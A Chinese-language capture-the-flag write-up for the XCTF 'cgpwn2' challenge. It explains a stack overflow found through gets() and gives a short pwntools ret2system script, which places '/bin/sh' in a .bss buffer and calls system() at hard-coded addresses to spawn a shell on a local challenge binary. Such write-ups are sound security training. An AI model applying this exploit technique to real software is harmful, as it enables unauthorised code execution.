XCTF cgpwn2

2022-01-25  本文已影响0人  doinb1517

题目

desc.png

https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5059&page=1

题解

使用checksec检查

checksec.png

丢进IDA Pro查看,get()函数存在溢出

f5.png

找可以利用的函数和字符串。找到system函数,没有找到可以利用的字符串。

system.png strings.png

得到system函数的地址为0x08048420

system_addr.png

name位于.bss段,可以通过给name变量赋值执行任意命令。尝试输入\bin\sh得到shell。name的地址是0x0804A080

name.png

由以上信息可以直接写WP。

from pwn import *
cnn = process('./cgpwn')

system_addr = 0x08048420

binsh_addr = 0x0804A080

payload = 42*b'a' + p32(system_addr) + b'aaaa' + p32(binsh_addr)

cnn.sendlineafter('name\n','/bin/sh')

cnn.sendlineafter('here:\n',payload)

cnn.interactive()

也可以使用IDA调试一遍玩玩,hello处下断点,F7步入,

hello.png

依次输入/bin/shAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,停在0x080485FC处,F2修改栈上数据,完成后如下。

stack.png stack_after.png

之后一直F8即可获得shell。

f8.png shell.png
上一篇 下一篇

猜你喜欢

热点阅读